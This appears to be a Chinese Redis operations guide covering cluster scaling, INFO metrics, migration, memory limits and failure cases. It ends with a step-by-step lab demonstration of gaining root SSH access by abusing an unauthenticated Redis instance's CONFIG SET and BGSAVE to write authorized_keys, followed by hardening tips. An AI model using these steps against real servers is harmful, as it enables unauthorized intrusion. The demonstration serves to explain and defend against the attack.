redis-cli --cluster add-node 10.0.0.51:6391 10.0.0.51:6380 --cluster-slave --cluster-master-id $(redis-cli -c -h 10.0.0.51 -p 6380 cluster nodes|awk '/51:6390/{print $1}')

重新分配槽

redis-cli --cluster reshard 10.0.0.51:6380  --cluster-from all --cluster-to $(redis-cli -c -h 10.0.0.51 -p 6380 cluster nodes|awk '/51:6390/{print $1}') --cluster-slots 4096 --cluster-yes

4.免交互收縮
遷移槽

redis-cli --cluster rebalance 10.0.0.51:6380 --cluster-weight $(redis-cli -c -h 10.0.0.51 -p 6390 cluster nodes|awk '/51:6390/{print $1}')=0

下線節點

redis-cli --cluster del-node 10.0.0.51:6391 $(redis-cli -c -h 10.0.0.51 -p 6380 cluster nodes|awk '/51:6391/{print $1}')  
redis-cli --cluster del-node 10.0.0.51:6390 $(redis-cli -c -h 10.0.0.51 -p 6380 cluster nodes|awk '/51:6390/{print $1}')

redis監控
1、參考地址
2、內容詳情
server相關

redis_version: Redis 服務器版本
redis_git_sha1: Git SHA1
redis_git_dirty: Git dirty flag
redis_build_id: 構建ID
redis_mode: 服務器模式(standalone,sentinel或者cluster)
os: Redis 服務器的宿主操作系統
arch_bits: 架構(32 或 64 位)
multiplexing_api: Redis 所使用的事件處理機制
atomicvar_api: Redis使用的Atomicvar API
gcc_version: 編譯 Redis 時所使用的 GCC 版本
process_id: 服務器進程的 PID
run_id: Redis 服務器的隨機標識符(用於 Sentinel 和集羣)
tcp_port: TCP/IP 監聽端口
uptime_in_seconds: 自 Redis 服務器啓動以來,經過的秒數
uptime_in_days: 自 Redis 服務器啓動以來,經過的天數
hz: 服務器的頻率設置
lru_clock: 以分鐘爲單位進行自增的時鐘,用於 LRU 管理
executable: 服務器的可執行文件路徑
config_file: 配置文件路徑

client相關

connected_clients: 已連接客戶端的數量(不包括通過從屬服務器連接的客戶端)
client_longest_output_list: 當前連接的客戶端當中,最長的輸出列表
client_biggest_input_buf: 當前連接的客戶端當中,最大輸入緩存
blocked_clients: 正在等待阻塞命令(BLPOP、BRPOP、BRPOPLPUSH)的客戶端的數量

memory相關

used_memory: 由 Redis 分配器分配的內存總量,以字節(byte)爲單位
used_memory_human: 以人類可讀的格式返回 Redis 分配的內存總量
used_memory_rss: 從操作系統的角度,返回 Redis 已分配的內存總量(俗稱常駐集大小)。這個值和 top 、 ps 等命令的輸出一致。
used_memory_peak: Redis 的內存消耗峯值(以字節爲單位)
used_memory_peak_human: 以人類可讀的格式返回 Redis 的內存消耗峯值
used_memory_peak_perc: 使用內存佔峯值內存的百分比
used_memory_overhead: 服務器爲管理其內部數據結構而分配的所有開銷的總和(以字節爲單位)
used_memory_startup: Redis在啓動時消耗的初始內存大小(以字節爲單位)
used_memory_dataset: 以字節爲單位的數據集大小(used_memory減去used_memory_overhead)
used_memory_dataset_perc: used_memory_dataset佔淨內存使用量的百分比(used_memory減去used_memory_startup)
total_system_memory: Redis主機具有的內存總量
total_system_memory_human: 以人類可讀的格式返回 Redis主機具有的內存總量
used_memory_lua: Lua 引擎所使用的內存大小(以字節爲單位)
used_memory_lua_human: 以人類可讀的格式返回 Lua 引擎所使用的內存大小
maxmemory: maxmemory配置指令的值
maxmemory_human: 以人類可讀的格式返回 maxmemory配置指令的值
maxmemory_policy: maxmemory-policy配置指令的值
mem_fragmentation_ratio: used_memory_rss 和 used_memory 之間的比率
mem_allocator: 在編譯時指定的, Redis 所使用的內存分配器。可以是 libc 、 jemalloc 或者 tcmalloc 。
active_defrag_running: 指示活動碎片整理是否處於活動狀態的標誌
lazyfree_pending_objects: 等待釋放的對象數(由於使用ASYNC選項調用UNLINK或FLUSHDB和FLUSHALL)
在理想情況下, used_memory_rss 的值應該只比 used_memory 稍微高一點兒。
當 rss > used ,且兩者的值相差較大時,表示存在(內部或外部的)內存碎片。
內存碎片的比率可以通過 mem_fragmentation_ratio 的值看出。
當 used > rss 時,表示 Redis 的部分內存被操作系統換出到交換空間了,在這種情況下,操作可能會產生明顯的延遲。
由於Redis無法控制其分配的內存如何映射到內存頁,因此常住內存(used_memory_rss)很高通常是內存使用量激增的結果。
當 Redis 釋放內存時,內存將返回給分配器,分配器可能會,也可能不會,將內存返還給操作系統。
如果 Redis 釋放了內存,卻沒有將內存返還給操作系統,那麼 used_memory 的值可能和操作系統顯示的 Redis 內存佔用並不一致。
查看 used_memory_peak 的值可以驗證這種情況是否發生。

持久化相關

loading: 指示轉儲文件(dump)的加載是否正在進行的標誌
rdb_changes_since_last_save: 自上次轉儲以來的更改次數
rdb_bgsave_in_progress: 指示RDB文件是否正在保存的標誌
rdb_last_save_time: 上次成功保存RDB的基於紀年的時間戳
rdb_last_bgsave_status: 上次RDB保存操作的狀態
rdb_last_bgsave_time_sec: 上次RDB保存操作的持續時間(以秒爲單位)
rdb_current_bgsave_time_sec: 正在進行的RDB保存操作的持續時間(如果有)
rdb_last_cow_size: 上次RDB保存操作期間copy-on-write分配的字節大小
aof_enabled: 表示AOF記錄已激活的標誌
aof_rewrite_in_progress: 表示AOF重寫操作正在進行的標誌
aof_rewrite_scheduled: 表示一旦進行中的RDB保存操作完成,就會安排進行AOF重寫操作的標誌
aof_last_rewrite_time_sec: 上次AOF重寫操作的持續時間,以秒爲單位
aof_current_rewrite_time_sec: 正在進行的AOF重寫操作的持續時間(如果有)
aof_last_bgrewrite_status: 上次AOF重寫操作的狀態
aof_last_write_status: 上一次AOF寫入操作的狀態
aof_last_cow_size: 上次AOF重寫操作期間copy-on-write分配的字節大
aof_current_size: 當前的AOF文件大小
aof_base_size: 上次啓動或重寫時的AOF文件大小
aof_pending_rewrite: 指示AOF重寫操作是否會在當前RDB保存操作完成後立即執行的標誌。
aof_buffer_length: AOF緩衝區大小
aof_rewrite_buffer_length: AOF重寫緩衝區大小
aof_pending_bio_fsync: 在後臺IO隊列中等待fsync處理的任務數
aof_delayed_fsync: 延遲fsync計數器
正在加載的操作
loading_start_time: 加載操作的開始時間(基於紀元的時間戳)
loading_total_bytes: 文件總大小
loading_loaded_bytes: 已經加載的字節數
loading_loaded_perc: 已經加載的百分比
loading_eta_seconds: 預計加載完成所需的剩餘秒數

stats相關

total_connections_received: 服務器接受的連接總數
total_commands_processed: 服務器處理的命令總數
instantaneous_ops_per_sec: 每秒處理的命令數
rejected_connections: 由於maxclients限制而拒絕的連接數
expired_keys: key到期事件的總數
evicted_keys: 由於maxmemory限制而導致被驅逐的key的數量
keyspace_hits: 在主字典中成功查找到key的次數
keyspace_misses: 在主字典中查找key失敗的次數
pubsub_channels: 擁有客戶端訂閱的全局pub/sub通道數
pubsub_patterns: 擁有客戶端訂閱的全局pub/sub模式數
latest_fork_usec: 最新fork操作的持續時間,以微秒爲單位

replication相關

role: 如果實例不是任何節點的從節點,則值是”master”,如果實例從某個節點同步數據,則是”slave”。 請注意,一個從節點可以是另一個從節點的主節點(菊花鏈)。
如果實例是從節點,則會提供以下這些額外字段:

master_host: 主節點的Host名稱或IP地址
master_port: 主節點監聽的TCP端口
master_link_status: 連接狀態(up或者down)
master_last_io_seconds_ago: 自上次與主節點交互以來,經過的秒數
master_sync_in_progress: 指示主節點正在與從節點同步
如果SYNC操作正在進行,則會提供以下這些字段:

master_sync_left_bytes: 同步完成前剩餘的字節數
master_sync_last_io_seconds_ago: 在SYNC操作期間自上次傳輸IO以來的秒數
如果主從節點之間的連接斷開了,則會提供一個額外的字段:

master_link_down_since_seconds: 自連接斷開以來,經過的秒數
以下字段將始終提供:

connected_slaves: 已連接的從節點數
對每個從節點,將會添加以下行:

slaveXXX: id,地址,端口號,狀態

CPU相關

used_cpu_sys: 由Redis服務器消耗的系統CPU
used_cpu_user: 由Redis服務器消耗的用戶CPU
used_cpu_sys_children: 由後臺進程消耗的系統CPU
used_cpu_user_children: 由後臺進程消耗的用戶CPU

zabbix監控參考配置

cat >/etc/zabbix/zabbix_agentd.d/redis.conf <<'EOF'
UserParameter=redis_info[*],redis-cli info|grep -w "$1"|sed -r 's#^.*:##g'
EOF

redis常用運維工具
1、使用第三方工具遷移-只適合4.x之前的版本
需求背景

剛切換到redis集羣的時候肯定會面臨數據導入的問題,所以這裏推薦使用redis-migrate-tool工具來導入單節點數據到集羣裏

官方地址:

http://www.oschina.net/p/redis-migrate-tool

安裝工具

yum install libtool autoconf automake -y 
cd /opt/
git clone https://github.com/vipshop/redis-migrate-tool.git
cd redis-migrate-tool/
autoreconf -fvi
./configure
make && make install 

創建配置文件

cat >redis_6379_to_6380.conf <<EOF
[source]
type: single
servers:
- 10.0.0.51:6379
[target]
type: redis cluster
servers:
- 10.0.0.51:6380 
[common]
listen: 0.0.0.0:8888
source_safe: true
EOF

生成測試數據

cat >input_key.sh <<EOF
#!/bin/bash
for i in $(seq 1 1000)
do
  redis-cli -c -h db01 -p 6379 set k_${i} v_${i} && echo "set k_${i} is ok"
done
EOF

執行導入命令

redis-migrate-tool -c redis_6379_to_6380.conf 

數據校驗

redis-migrate-tool -c redis_6379_to_6380.conf -C redis_check

使用redis-cli數據遷移-適合4.x以後的版本
4.x以前的數據遷移使用第三方工具

https://github.com/vipshop/redis-migrate-tool

不加copy參數相當於mv,老數據遷移完成後就刪掉了

redis-cli --cluster import 10.0.0.51:6380 --cluster-from 10.0.0.51:6379

加了copy參數相當於cp,老數據遷移完成後會保留

redis-cli --cluster import 10.0.0.51:6380 --cluster-from 10.0.0.51:6379 --cluster-copy

添加replace參數會覆蓋掉同名的數據,如果不添加遇到同名的key會提示衝突,對新集羣新增加的數據不受影響

redis-cli --cluster import 10.0.0.51:6380 --cluster-from 10.0.0.51:6379 --cluster-copy --cluster-replace

驗證遷移期間邊寫邊導會不會影響: 同時開2個終端,一個寫入key,

for i in {1..1000};do redis-cli set k_${i} v_${i};sleep 0.2;echo ${i};done

一個執行導入命令

redis-cli --cluster import 10.0.0.51:6380 --cluster-copy --cluster-replace --cluster-from  10.0.0.51:6379

得出結論:
只會導入當你執行導入命令那一刻時,當前被導入節點的所有數據,類似於快照,對於後面再寫入的數據不會更新
3、分析key大小
使用redis-cli分析

redis-cli --bigkeys 
redis-cli --memkeys

使用第三方分析工具:
安裝命令

yum install python-pip gcc python-devel -y
cd /opt/
git clone https://github.com/sripathikrishnan/redis-rdb-tools
cd redis-rdb-tools
pip install python-lzf
python setup.py install

生成測試數據

redis-cli set txt $(cat txt.txt)

生成rdb文件

redis-cli bgsave

使用工具解析RDB文件

cd /data/redis_6379/
rdb -c memory redis_6379.rdb -f redis_6379.rdb.csv

過濾分析
awk -F"," ‘{print $4,$3}’ redis_6379.rdb.csv |sort -r

彙報領導

將結果整理彙報給領導,詢問開發這個key是否可以刪除
刪除之前,最好做次備份

4、性能測試

redis-benchmark -n 10000 -q

5、多實例運維腳本

cat > redis_shell.sh << 'EOF'
#!/bin/bash

USAG(){
    echo "sh $0 {start|stop|restart|login|ps|tail} PORT"
}
if [ "$#" = 1 ]
then
    REDIS_PORT='6379'
elif 
    [ "$#" = 2 -a -z "$(echo "$2"|sed 's#[0-9]##g')" ]
then
    REDIS_PORT="$2"
else
    USAG
    exit 0
fi

REDIS_IP=$(hostname -I|awk '{print $1}')
PATH_DIR=/opt/redis_${REDIS_PORT}/
PATH_CONF=/opt/redis_${REDIS_PORT}/conf/redis_${REDIS_PORT}.conf
PATH_LOG=/opt/redis_${REDIS_PORT}/logs/redis_${REDIS_PORT}.log

CMD_START(){
    redis-server ${PATH_CONF}
}

CMD_SHUTDOWN(){
    redis-cli -c -h ${REDIS_IP} -p ${REDIS_PORT} shutdown
}

CMD_LOGIN(){
    redis-cli -c -h ${REDIS_IP} -p ${REDIS_PORT}
}

CMD_PS(){
    ps -ef|grep redis
}

CMD_TAIL(){
    tail -f ${PATH_LOG}
}

case $1 in
    start)
        CMD_START
        CMD_PS
        ;;
    stop)
        CMD_SHUTDOWN
        CMD_PS
        ;;
    restart)
        CMD_START
        CMD_SHUTDOWN
        CMD_PS
        ;;
    login)
        CMD_LOGIN
        ;;
    ps)
        CMD_PS
        ;;
    tail)
        CMD_TAIL
        ;;
    *)
        USAG
esac
EOF

redis內存管理
1、生產上一定要配置redis內存限制

maxmemory NG

2、內存回收機制

1.noevicition       默認策略,不會刪除任務數據,拒絕所有寫入操作並返回客戶端錯誤信息,此時只響應讀操作
2.volatile-lru      根據LRU算法刪除設置了超時屬性的key,指導騰出足夠空間爲止,如果沒有可刪除的key,則退回到noevicition策略
3.allkeys-lru       根據LRU算法刪除key,不管數據有沒有設置超時屬性
4.allkeys-random    隨機刪除所有key
5.volatile-random   隨機刪除過期key
5.volatile-ttl      根據key的ttl,刪除最近要過期的key

3、生產上redis限制多大內存

先空出來系統一半內存
48G 一共 
24G 系統
24G redis 
redis先給8G內存 滿了之後,分析結果告訴老大和開發,讓他們排查一下是否所有的key都是必須的
redis再給到12G內存 滿了之後,分析結果告訴老大和開發,讓他們排查一下是否所有的key都是必須的
redis再給到16G內存 滿了之後,分析結果告訴老大和開發,讓他們排查一下是否所有的key都是必須的
等到24G都用完了之後,彙報領導,要考慮買內存了。
等到35G的時候,就要考慮是加內存,還是擴容機器。

4、優化建議

1.專機專用,不要跑其他的服務
2.內存給夠,限制內存使用大小
3.使用SSD硬盤
4.網絡帶寬夠大
5.定期分析BigKey

槽位分配錯誤如何調整
1、假如是在集羣初始化狀態下分配錯了

redis-cli -h 10.0.0.51 -p 6380 CLUSTER RESET
redis-cli -h 10.0.0.52 -p 6380 CLUSTER RESET
redis-cli -h 10.0.0.53 -p 6380 CLUSTER RESET
redis-cli -h 10.0.0.51 -p 6381 CLUSTER RESET
redis-cli -h 10.0.0.52 -p 6381 CLUSTER RESET
redis-cli -h 10.0.0.53 -p 6381 CLUSTER RESET

redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.52 6380
redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.53 6380
redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.51 6381
redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.52 6381
redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.53 6381

redis-cli -h 10.0.0.51 -p 6380 CLUSTER ADDSLOTS {0..5460}
redis-cli -h 10.0.0.52 -p 6380 CLUSTER ADDSLOTS {5461..10921}
redis-cli -h 10.0.0.53 -p 6380 CLUSTER ADDSLOTS {10922..16383}

redis-cli -h 10.0.0.52 -p 6381 CLUSTER NODES
redis-cli -h 10.0.0.52 -p 6381 CLUSTER INFO

2、假如是在已經有數據寫入的情況下,運行了一段時間才分配錯了

集羣命令

CLUSTER NODES
CLUSTER MEET
CLUSTER INFO
CLUSTER ADDSLOTS
CLUSTER DELSLOTS
CLUSTER FAILOVER
redis-cli --cluster rebalance 10.0.0.51:6380
redis-cli --cluster info 10.0.0.51:6380

故障案例
1、虛擬內存配置問題

# 默認情況下,如果 redis 最後一次的後臺保存失敗,redis 將停止接受寫操作,
# 這樣以一種強硬的方式讓用戶知道數據不能正確的持久化到磁盤,
# 否則就會沒人注意到災難的發生。
#
# 如果後臺保存進程重新啓動工作了,redis 也將自動的允許寫操作。
#
# 然而你要是安裝了靠譜的監控,你可能不希望 redis 這樣做,那你就改成 no 好了。
stop-writes-on-bgsave-error yes

(error) LOADING Redis is loading the dataset in memory

762:M 04 Dec 14:47:06.263 * Background saving terminated with success
762:M 04 Dec 14:48:07.065 * 10000 changes in 60 seconds. Saving...
762:M 04 Dec 14:48:07.065 # Can't save in background: fork: Cannot allocate memory
762:M 04 Dec 14:48:13.073 * 10000 changes in 60 seconds. Saving...
762:M 04 Dec 14:48:13.073 # Can't save in background: fork: Cannot allocate memory
762:M 04 Dec 14:48:19.084 * 10000 changes in 60 seconds. Saving...
762:M 04 Dec 14:48:19.084 # Can't save in background: fork: Cannot allocate memory
762:M 04 Dec 14:48:25.091 * 10000 changes in 60 seconds. Saving...

#業務端警告信息
2017-12-04 15:04:08 [112.34.110.29][-][-][error][yii\db\Exception] exception 'yii\db\Exception' with message 'Redis error: MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error.'
#redis日誌警告提示
#內存不夠時候的日誌警告
762:M 04 Dec 14:47:06.263 * Background saving terminated with success
762:M 04 Dec 14:48:07.065 * 10000 changes in 60 seconds. Saving...
762:M 04 Dec 14:48:07.065 # Can't save in background: fork: Cannot allocate memory
762:M 04 Dec 14:48:13.073 * 10000 changes in 60 seconds. Saving...
762:M 04 Dec 14:48:13.073 # Can't save in background: fork: Cannot allocate memory
762:M 04 Dec 14:48:19.084 * 10000 changes in 60 seconds. Saving...
762:M 04 Dec 14:48:19.084 # Can't save in background: fork: Cannot allocate memory
762:M 04 Dec 14:48:25.091 * 10000 changes in 60 seconds. Saving...
#重啓後的日誌警告
9469:M 22 Apr 18:06:40.965 # Server started, Redis version 3.0.7
9469:M 22 Apr 18:06:40.965 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
9469:M 22 Apr 18:06:40.965 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
9469:M 22 Apr 18:06:40.965 # Server started, Redis version 3.0.7
9469:M 22 Apr 18:06:40.965 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
9469:M 22 Apr 18:06:40.965 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/
enabled as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted afte
r THP is disabled.

#修改方法
在/etc/sysctl.conf添加如下內容
vm.overcommit_memory = 1

#原因解釋
Redis的數據回寫機制分同步和異步兩種,
同步回寫即SAVE命令,主進程直接向磁盤迴寫數據。在數據大的情況下會導致系統假死很長時間,所以一般不是推薦的。
異步回寫即BGSAVE命令,主進程fork後,複製自身並通過這個新的進程回寫磁盤,回寫結束後新進程自行關閉。由於這樣做不需要主進程阻塞,系統不會假死,一般默認會採用這個方法。

在小內存的進程上做一個fork,不需要太多資源,但當這個進程的內存空間以G爲單位時,fork就成爲一件很恐怖的操作。何況在16G內存的主機上fork 14G內存的進程呢?肯定會報內存無法分配的。更可氣的是,越是改動頻繁的主機上fork也越頻繁,fork操作本身的代價恐怕也不會比假死好多少。

找到原因之後,直接修改內核參數vm.overcommit_memory = 1
Linux內核會根據參數vm.overcommit_memory參數的設置決定是否放行。
如果 vm.overcommit_memory = 1,直接放行
vm.overcommit_memory = 0:則比較 此次請求分配的虛擬內存大小和系統當前空閒的物理內存加上swap,決定是否放行。
vm.overcommit_memory = 2:則會比較 進程所有已分配的虛擬內存加上此次請求分配的虛擬內存和系統當前的空閒物理內存加上swap,決定是否放行。

2、優惠券不過期案例

解決:
0.設置key的時候就指定過期時間
1.開發配置優惠卷之前,先把所有需要過期的key都發給運維
2.運維批量監控這些需要過期的key 
3.只要這些key出現了-1的值,就表示永不過期了,就需要報警


設置指定時間過期是可以計算的,如果要在當天0點過期,用0點的時間戳減去當前時間戳,值設爲過期時間就行了,代碼很容易實現,一般數據庫還保存有一個固定的過期時間,即便 redis 的 key 未失效,在下單時依舊還會和數據庫的這個值作比對,雙重校驗

3、辦公室刷帖導致封鎖

問題背景:
某日,突然在公司辦公室集體訪問不了公司網站了,訪問其他網站都正常,用手機流量訪問公司網站卻正常

排查過程:
筆記本用手機流量熱點,連上了IDC機房的VPN服務器,連上反向代理負載均衡查看,發現公司出口IP地址被防火牆封掉了。

緊急恢復:
先放開規則,恢復訪問。再排查問題

排查步驟:
爲什麼辦公室會被封?
防火牆上做了限制訪問次數,如果訪問超過1分鐘200次,就自動封掉這個IP,24小時後再放開。

內網是誰在大量訪問呢?
通過路由器查看那個交換機流量大
通過交換機確認哪個端口的流量異常
拔掉網線,然後等待尖叫聲

問題真正原因:
供應商軟文有指標,需要把熱度炒起來,所以同事用瀏覽器自動刷新網頁的插件不斷的刷新網頁。
從而觸發了防火牆的限制,又因爲防火牆沒有設置白名單,所以導致整個辦公室唯一的出口IP被封掉。

解決方案:
開發在後臺添加新功能,輸入帖子ID和期望的訪問數,操作Redis字符串的計數器功能自動添加訪問量
防火牆設置白名單,放開公司辦公室出口IP

4、利用redis遠程入侵linux

前提條件:
1.redis以root用戶運行
2.redis允許遠程登陸
3.redis沒有設置密碼或者密碼簡單

入侵原理:

1.本質是利用了redis的熱更新配置,可以動態的設置數據持久化的路徑和持久化文件名稱
2.首先攻擊者可以遠程登陸redis,然後將攻擊者的ssh公鑰當作一個key存入redis裏
3.利用動態修改配置,將持久化目錄保存成/root/.ssh
4.利用動態修改配置,將持久化文件名更改爲authorized_keys
5.執行數據保存命令,這樣就會在生成/root/,ssh/authorized_keys文件
6.而這個文件裏包含了攻擊者的密鑰,所以此時攻擊者可以免密登陸遠程的服務器了

實驗步驟:
1.生成密鑰

[root@db02 ~/.ssh]# ssh-keygen

2.將密鑰保存成文件

[root@db02 ~]# (echo -e "\n";cat /root/.ssh/id_rsa.pub ;echo -e "\n") > ssh_key
[root@db02 ~]# cat ssh_key 

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH5vHJTq1UPP1YqzNUIfpXgWp5MV/hTzXStnT/JlusMG8/8DI2WYpbM20Pag5VlYKO8vA7Mn0ZbMmbpHUMOHLKmXK0y4k0bkYoSPTwbxP4a4paPLF50d+LRazqNq+P2RTnn7P9pG0kdSmpwDgcD32JjMJ7zxLFVbtsuOPfUHpnkvoI8967JC9kw/FH4CifZ+yyAneMxyqFstfKRPqUK0lwA/D5UuD4B4gv4WO6hu1bctHtI8qbIfSmHCgBrCG4qW+Xw1OWDimCLUwKUFW99RfVhzfmm9pTes+2twuf7wFK06LZVzcmfaXt43SFNLcVMMTn4RX0tzZyqVGYFtn94sOn root@db02

3.將密鑰寫入redis

[root@db02 ~]# cat ssh_key |redis-cli -h 10.0.0.51 -x set ssh_key
OK

4.登陸redis動態修改配置並保存

[root@db02 ~]# redis-cli -h 10.0.0.51                                                   
10.0.0.51:6379> CONFIG set dir /root/.ssh
OK
10.0.0.51:6379> CONFIG set dbfilename authorized_keys 
OK
10.0.0.51:6379> BGSAVE
Background saving started

5.被攻擊的機器查看是否生成文件

[root@db01 ~]# cat .ssh/authorized_keys 

6.入侵者查看是否可以登陸

[root@db02 ~]# ssh 10.0.0.51                                                   
Last login: Wed Jun 24 23:00:14 2020 from 10.0.0.52
[root@db01 ~]# 

此時可以發現,已經可以免密登陸了。
7.如何防範

1.以普通用戶啓動redis,這樣就沒有辦法在/root/目錄下創建數據
2.設置複雜的密碼
3.不要監聽所有端口,只監聽內網地址
4.禁用動態修改配置的命令和危險命令
5.做好監控和數據備份
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章